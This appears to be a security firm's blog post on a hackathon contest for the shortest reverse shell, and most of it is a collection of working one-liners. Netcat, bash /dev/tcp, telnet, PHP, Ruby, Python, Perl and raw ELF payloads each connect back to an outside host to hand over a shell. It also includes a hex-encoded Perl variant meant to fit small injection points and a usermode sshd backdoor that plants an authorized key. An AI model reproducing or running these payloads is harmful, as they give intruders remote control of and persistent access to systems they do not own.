Our Blog

T-Shirt Shell Competition

Reading time ~3 min

For our internal hackathon, we wanted to produce some shirts. We ran a competition to see who could produce a reverse shell invocation most worthy of inclusion on a shirt. Here are the submissions, which may be instructive or useful. But first; the winning t-shirt design goes to Vlad (-islav, baby don’t hurt me, don’t hurt me, no more):

Funny story; the printer left out the decimal points between the IP, so we had to use a permanent marker to put them back. Oh, also, many of these were originally taken from somewhere else then modified, we don’t claim the full idea as our own. Anyway, onto the shells!

Netcat – 18 chars

nc -e sh 1.0.0.1 1

Requires nc with -e support (unlikely to be on remote box by default).

Bash – 27 chars

sh>&/dev/tcp/1.0.0.1/8 0>&1

Requires bash with /dev/tcp support, not always there (e.g. RHEL). Vlad’s winning contribution.

Telnet – 37 chars

mkfifo x&&telnet 1.0.0.1 8 0<x|sh 1>x

Will work on most systems, can replace telnet with nc to get 33 chars.

PHP – 56 chars

<?php $s=fsockopen(“1.0.0.1”,8);exec(“sh<&3>&3 2>&3”);?>

Requires PHP CLI. This one from Rogan.

Ruby – 73 chars

f=TCPSocket.open(“1.0.0.1”,8).to_i
exec sprintf(“sh<&%d>&%d 2>&%d”,f,f,f)

Need to invoke this with

ruby -rsocket small-rev.rb

which is a bit of a cheat for size. This was also taken from pentestmonkey

Python – 155 chars

import socket as x,os
s=x.socket(2,1)
s.connect(("1.0.0.1",8))
d=os.dup2
f=s.fileno()
d(f,0)
d(f,1)
os.system("sh")

This assumes you use unix line breaks. My personal favourite.

Perl – 121 chars

$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"1.0.0.1:8");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;

Invoke with

perl -MIO small-rev.pl

Elf – 133 chars

ELF??????????????T€4???????????4? ????????????????€?€†???¸?????????1ÛSCSjjfX‰áÍ€—[h??fhfS‰ájfXPQW‰áCÍ€[™¶°Í€ÿá

This actually uses 127.0.0.1 8080 as the IP unlike the others, and the IP didn’t affect char count. Obviously this would only work on a system that supports ELF executables.

Usermode SSHD

/usr/bin/ssh-keygen -t rsa -f /tmp/sshd_rsa -N “”
/bin/bash -c “mkdir /home/.ssh”
echo ‘ssh-rsa =’ > /home/user/.ssh/authorized_keys;
chmod -R 700 /home/user/.ssh;
/usr/sbin/sshd -f /dev/null -h /tmp/sshd_rsa -p

We stopped counting size here. This one is useful if you don’t want to upload any tools to the box, don’t know the password of the user you’re targeting and want all the port forwarding goodness of SSH for pivoting too.

Encoded Perl

#!/usr/bin/perl
system
pack
qw.H..chr(42),
qw.6563686f2022657865632035..
qw.3c3e2f6465762f7463702f31..
qw.32372e302e302e312f383038..
qw.3020262620636174203c2635..
qw.207c202f62696e2f62617368..
qw.20323e2635203e263522207c..
qw.202f62696e2f626173680a.

This nifty one was put together by gcp, and uses the Perl pack command to convert a hex representation of the bash /dev/tcp shell above. It includes Perl’s funky qw.. trick to avoid special chars, and is chunked up to bypass small injection points. Use xxd with the -ps and -c switches to generate a new one.

Using Python for a PTY

nc hackme.com 80 -e python -c ‘import pty; pty.spawn(“/bin/bash”)’

Gary showed us this trick a while ago, and it’s been ever useful. Using python to spawn a decent-ish pty.